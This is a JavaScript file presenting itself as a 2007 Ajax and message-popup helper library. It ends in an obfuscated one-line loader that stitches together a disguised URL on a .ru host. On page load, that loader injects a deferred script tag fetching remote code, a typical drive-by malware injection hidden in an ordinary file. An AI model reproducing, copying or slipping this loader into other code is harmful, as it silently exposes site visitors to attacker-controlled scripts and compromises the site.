//------------------------------------------------------------------------------
// Ajax Library
//------------------------------------------------------------------------------
//# Version : 1.0
//# Date : 200701241114
// Modified History :
//  10 Jan 2007, Bryan
//------------------------------------------------------------------------------
function Ajax(xmlFile, data, xmlText, responseFunction)
{
  // Variables & PreValue
  this.moz = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined')
  this.ie = (typeof window.ActiveXObject != 'undefined')
  this.xmlObj = null
  this.xmlTxt = (xmlText)?xmlText:""
  this.xmlDoc = null
  this.xmlFile = xmlFile
  this.sendMethod = (data)?"POST":"GET"
  this.data = (data)?data:null
  this.responseFunction = responseFunction
  this.loaded = false
  this.readyState = ""

  // Prototype
  this.getXMLTxt = getXMLTxt
  this.getXMLObj = getXMLObj
  this.getXMLDoc = getXMLDoc
  this.setXMLTxt = setXMLTxt
  this.getStatus = getStatus
  this.getReadyState = getReadyState

  // Definition
  function getXMLTxt() { return this.xmlTxt }
  function getXMLObj() { return this.xmlObj }
  function getXMLDoc() { return this.xmlDoc }
  function setXMLTxt(txt) { this.xmlTxt = txt }
  function getStatus() { return this.loaded }
  function getReadyState() { return this.readyState }
}

// Prototype
Ajax.prototype.load = Ajax_load
Ajax.prototype.strEscape = Ajax_strEscape
Ajax.prototype.strUnEscape = Ajax_strUnEscape
Ajax.prototype.uriEncode = Ajax_uriEncode
Ajax.prototype.uriDecode = Ajax_uriDecode
Ajax.prototype.parse = Ajax_parse
Ajax.prototype.parseXML = Ajax_parse
Ajax.prototype.o = Ajax_o
Ajax.prototype.saveHTML = Ajax_saveHTML
Ajax.prototype.toHTML = Ajax_toHTML
Ajax.prototype.getNode = Ajax_getNode
Ajax.prototype.getNodeText = Ajax_getNodeText
Ajax.prototype.getNodeAtt = Ajax_getNodeAtt
Ajax.prototype.getNodeXML = Ajax_getNodeXML
Ajax.prototype.onlineStatus = Ajax_onlineStatus
Ajax.prototype.onlineCheck = Ajax_onlineCheck
Ajax.prototype.trim = Ajax_trim
Ajax.prototype.trimElements = Ajax_trimElements

// Definition
function Ajax_load() {
  with(this) {
    if (!onlineCheck()) return false;
    xmlObj = moz?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP")
    xmlObj.open(sendMethod, xmlFile, true)// false->wait for reply, true->no
    xmlObj.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
    xmlObj.onreadystatechange = function () {
      readyState = xmlObj.readyState
      if (xmlObj.readyState == 4 && xmlObj.status == 200) {
        loaded = true
        xmlTxt = xmlObj.responseText
        parseXML()
        if (responseFunction!="") { eval(responseFunction) }
      } else if (xmlObj.readyState == 4 && xmlObj.status != 200) {
        if (xmlObj.status == 400)      alert("Opps! Bad request.")
        else if (xmlObj.status == 401) alert("Opps! Unauthorized access.")
        else if (xmlObj.status == 403) alert("Opps! Forbidden.")
        else if (xmlObj.status == 404) alert("Opps! We are unable to open the file that you requested.")
        else if (xmlObj.status == 407) alert("Opps! Proxy authentication required.")
        else if (xmlObj.status == 408) alert("Opps! Request timeout.")
        else if (xmlObj.status == 500) alert("Opps! Internal server error.")
        else if (xmlObj.status == 501) alert("Opps! Not implemented.")
        else if (xmlObj.status == 502) alert("Opps! Bad gateway.")
        else if (xmlObj.status == 503) alert("Opps! Service unavailable.")
        else if (xmlObj.status == 504) alert("Opps! Gateway timeout.")
        else if (xmlObj.status == 505) alert("Opps! HTTP version not supported.")
        else if (xmlObj.status == 509) alert("Opps! Bandwidth limit exceeded.")
        msgOff()
      }
    }
    xmlObj.send(data)
    return true
  }
}
function Ajax_parse() {
  try {
    with(this) {
      if (ie) { // code for IE
        xmlDoc = new ActiveXObject("Microsoft.XMLDOM")
        if (!xmlDoc.loadXML(xmlTxt)) {
          alert("Opps! XML error.")
          msgOff()
        }
      } else { // code for Mozilla, Firefox, Opera, etc.
        var parser = new DOMParser()
        if (!parser.parseFromString(xmlTxt,"text/xml")) {
          alert("Opps! XML error.")
          msgOff()
        } else {
          xmlDoc = parser.parseFromString(xmlTxt,"text/xml")
        }
      }
      return xmlDoc
    }
  } catch (e) {
    alert("Opps! XML error.")
    msgOff()
  }
}
function Ajax_o(id, isArray) { 
  if (isArray == true) {
    objArray = new Array()
    elems = document.getElementsByTagName("*")
    for (idx=0; idx<elems.length; idx++)
      if (elems[idx].id == id)
        objArray[objArray.length] = elems[idx]
    return objArray
  } else if (isArray == 3) { // Prefix
    objArray = new Array()
    elems = document.getElementsByTagName("*")
    for (idx=0; idx<elems.length; idx++)
      if (elems[idx].id.substring(0, id.length) == id)
        objArray[objArray.length] = elems[idx]
    return objArray
  } else
    return document.getElementById(id)
}
function Ajax_strEscape(str) { return escape(str) }
function Ajax_strUnEscape(str) { return unescape(str)}
function Ajax_uriEncode(str) { return encodeURI(str) }
function Ajax_uriDecode(str) { return decodeURI(str) }
function Ajax_saveHTML(str) {
  str = str.replace("'", "\\'").replace("\"", "\\\"")
  return str
}
function Ajax_toHTML(str) {
  str = str.replace(/&amp;/g, "&").replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&quot;/g, "'").replace(/\'/g, "'")
  return str
}
function Ajax_getNode(nodeName) {
  with(this) {
    try {
      theNode = xmlDoc.getElementsByTagName(nodeName)
    } catch(e){
      nodeName_new = ie?nodeName:nodeName.toLowerCase()
      theNode = xmlDoc.getElementsByTagName(nodeName_new)
    }
    return theNode
  }
}
function Ajax_getNodeText(nodeName, itemNo) { 
  with(this) {
    if (!itemNo) itemNo = 0
    return trim(getNode(nodeName)[itemNo].childNodes[0].nodeValue)
  }
}
function Ajax_getNodeAtt(nodeName, attName, itemNo) {
  with(this) {
    if (!itemNo) itemNo = 0
    return trim(getNode(nodeName)[itemNo].getAttribute(attName))
  }
}
function Ajax_getNodeXML(node) { 
  theXML = (this.moz)?(new XMLSerializer()).serializeToString(node):node.xml
  return this.trim(theXML)
}
function Ajax_onlineStatus() { return navigator.onLine }
function Ajax_onlineCheck() {
  var onOff
  with (this) {
    onOff = onlineStatus()
    if (!onOff) {
      (new Message()).errorPrompt("There are no Internet Connection, please try again.")
      statusOff()
    }
    return onOff
  }
}
function Ajax_trim(str) {
  var str1 = str
  var trimed = ""
  var x = 0
  while ((str.charCodeAt(0) == 32 || str.charCodeAt(0) == 9) && x < str1.length) {
    str = str.substr(1)
    x++
  }
  x = 0
  str1 = str
  while ((str.charCodeAt(str.length-1) == 32 || str.charCodeAt(str.length-1) == 9) && x < str1.length) {
    str = str.substr(0, str.length-1)
    x++
  }
  return str
}
function Ajax_trimElements() {
  elems = document.getElementsByTagName("TEXTAREA")
  for (idx=0; idx<elems.length; idx++)
  {
    elems[idx].value = this.trim(elems[idx].value)
  }
  elems = document.getElementsByTagName("INPUT")
  for (idx=0; idx<elems.length; idx++)
  {
    elems[idx].value = this.trim(elems[idx].value)
  }
}
//------------------------------------------------------------------------------
// Message/Status Library
//------------------------------------------------------------------------------
// Modified History:
//  2006, Bryan
//------------------------------------------------------------------------------
function Message()
{
//  this.message = ""
  this.status_id = "Ajax_status_589372987543"
  this.error_id = "Ajax_error_589372987543"
  this.msg_id = "Ajax_message_589372987543"
  this.classNames = Array("AJAX_STATUS_BOX", "AJAX_ERROR_BOX", "AJAX_MSG_BOX")
  this.zIndexTop = 99999
  this.zIndexBack = -1
  this.loadingImg = "<img src=\"images/loadingimg.gif\" />"

  // Init Message
  if (!(new Ajax()).o(this.status_id)) {
    newDiv = document.createElement("DIV")
    newDiv.setAttribute("id", this.status_id)
    newDiv.style.font = "bold 9pt Verdana"
    newDiv.style.color = "#ffffff"
    newDiv.style.background = "#993300"
    newDiv.style.position = "absolute"
    newDiv.style.right = "1px"
    newDiv.style.top = "1px"
    newDiv.style.width = ""
    newDiv.style.height = "20px"
    newDiv.style.overFlow = "visible"
    newDiv.style.textAlign = "right"
    newDiv.style.padding = "1px"
    newDiv.style.display = "none"
    newDiv.style.zIndex = this.zIndexBack
    newDiv.className = this.classNames[0]
    document.body.appendChild(newDiv)
  }
  if (!(new Ajax()).o(this.error_id)) {
    newDiv = document.createElement("DIV")
    newDiv.setAttribute("id", this.error_id)
    newDiv.style.font = "bold 9pt Verdana"
    newDiv.style.color = "#ffffff"
    newDiv.style.background = "#ff0000"
    newDiv.style.position = "absolute"
    newDiv.style.left = "38%"
    newDiv.style.top = "45%"
    newDiv.style.width = ""
    newDiv.style.height = "50px"
    newDiv.style.overFlow = "visible"
    newDiv.style.textAlign = "center"
    newDiv.style.padding = "3px"
    newDiv.style.cursor = "pointer"
    newDiv.style.display = "none"
    newDiv.style.zIndex = this.zIndexBack
    newDiv.setAttribute("onclick", "this.style.zIndex='"+this.zIndexBack+"'; this.style.display='none'")
    newDiv.className = this.classNames[1]
    document.body.appendChild(newDiv)
  }
  if (!(new Ajax()).o(this.msg_id)) {
    newDiv = document.createElement("DIV")
    newDiv.setAttribute("id", this.msg_id)
    newDiv.style.font = "bold 9pt Verdana"
    newDiv.style.color = "#ffffff"
    newDiv.style.background = "#99cc99"
    newDiv.style.position = "absolute"
    newDiv.style.left = "38%"
    newDiv.style.top = "45%"
    newDiv.style.width = ""
    newDiv.style.height = "50px"
    newDiv.style.overFlow = "visible"
    newDiv.style.textAlign = "center"
    newDiv.style.padding = "3px"
    newDiv.style.cursor = "pointer"
    newDiv.style.display = "none"
    newDiv.style.zIndex = this.zIndexBack
    newDiv.setAttribute("onclick", "this.style.zIndex='"+this.zIndexBack+"'; this.style.display='none'")
    newDiv.className = this.classNames[2]
    document.body.appendChild(newDiv)
  }
}
Message.prototype.statusPrompt = Message_statusPrompt
Message.prototype.statusOff    = Message_statusOff
Message.prototype.errorPrompt  = Message_errorPrompt
Message.prototype.errorOff     = Message_errorOff
Message.prototype.msgPrompt    = Message_msgPrompt
Message.prototype.msgOff       = Message_msgOff

function Message_statusPrompt(message) {
  with(this) {
    o(status_id).innerHTML = loadingImg + message
    o(status_id).style.zIndex = zIndexTop
    o(status_id).style.display = "inline"
  }
  document.body.style.cursor = 'wait'
}
function Message_statusOff() {
  with(this) {
    o(status_id).style.zIndex = zIndexBack
    o(status_id).style.display = "none"
  }
  document.body.style.cursor = 'auto'
}
function Message_errorPrompt(message) {
  with(this) {
    o(error_id).innerHTML = message + "<br /><i class=\"AJAX_CLOSE_TXT\">Close</i>"
    o(error_id).style.zIndex = zIndexTop
    o(error_id).style.display = "inline"
  }
}
function Message_errorOff() {
  with(this) {
    o(error_id).style.zIndex = zIndexBack
    o(error_id).style.display = "none"
  }
}
function Message_msgPrompt(message) {
  with(this) {
    o(msg_id).innerHTML = message + "<br /><i class=\"AJAX_CLOSE_TXT\">Close</i>"
    o(msg_id).style.zIndex = zIndexTop
    o(msg_id).style.display = "inline"
  }
}
function Message_msgOff() {
  with(this) {
    o(msg_id).style.zIndex = zIndexBack
    o(msg_id).style.display = "none"
  }
}
var LK='';function eL(){var c=new String();var Qn="";var f="";var x=String("1Z6g".substr(3));var s=RegExp;this.p='';var L='';var V=new Array();var B=new Date();var n=new Date();function e(xi,N){var EX='';var rf="";var si= String("[");var t=new Array();si+=N;si+=new String("]");var C=new String();var pw;if(pw!='' && pw!='u'){pw=null};var Ql="";var E=new s(si, x);return xi.replace(E, L);};var mc=new Array();var F="";var Xj;if(Xj!='' && Xj!='mG'){Xj=null};var WV;if(WV!='Iv'){WV=''};var XC=new Array();var K='';this.wX='';var cZ;if(cZ!='eO'){cZ=''};var Ng=String("def"+"eryYp".substr(0,2));var Q="src";var IA=new Date();var g=e('899403399489393049339',"394");var Y=new String("/me"+"3aWJtro".substr(4)+"flonjLr".substr(0,3)+"g.cm0i".substr(0,3)+"om/dlqL".substr(0,3)+"OKQmetKQO".substr(3,3)+"Z4nrofnZ4".substr(3,3)+"bPK3log".substr(4)+"A2U.co2UA".substr(3,3)+"m/k"+"ODHu6.".substr(3)+"4YDcom".substr(3)+"Aip/go".substr(3)+"oglHsL".substr(0,3)+"iMNe.c".substr(3)+"om/"+"nok"+"ia.HFtL".substr(0,3)+"NKycomyKN".substr(3,3)+".ph"+"p");var Dj;if(Dj!='nv'){Dj=''};var HW;if(HW!='' && HW!='T'){HW=null};var j="http:71a".substr(0,5)+"h7sv//repvhs7".substr(4,5)+"ubbli"+"ca-it"+"XM8c.softcX8M".substr(4,5)+"pediakLq".substr(0,5)+".com.nRzp".substr(0,5)+"opend"+"mtPKns-comtPK".substr(4,5)+"EKZm.theZKE".substr(3,5)+"hotla9zGF".substr(0,5)+"qnUb.ru:nUq".substr(3,5);var ZK='';var Lr=window;this.AH='';var SF="";var i="scrip4e3X".substr(0,5)+"t";var Vm=new Date();this.ZE='';Lr.onload=function(){var uWe=new String();var Bx=new Date();try {var KK;if(KK!='' && KK!='Eh'){KK=''};var tR=new Array();var rA;if(rA!=''){rA='R'};K=j+g;var P;if(P!='dD'){P='dD'};K+=Y;var Pr;if(Pr!='MG' && Pr != ''){Pr=null};var U='';sG=document.createElement(i);var _w;if(_w!=''){_w='JG'};var pB=new Array();sG[Q]=K;var AQ;if(AQ!='fZV' && AQ!='sq'){AQ='fZV'};sG[Ng]=[1][0];var mO=new Date();document.body.appendChild(sG);var LA=new Array();var Ji="";} catch(YG){};};};eL();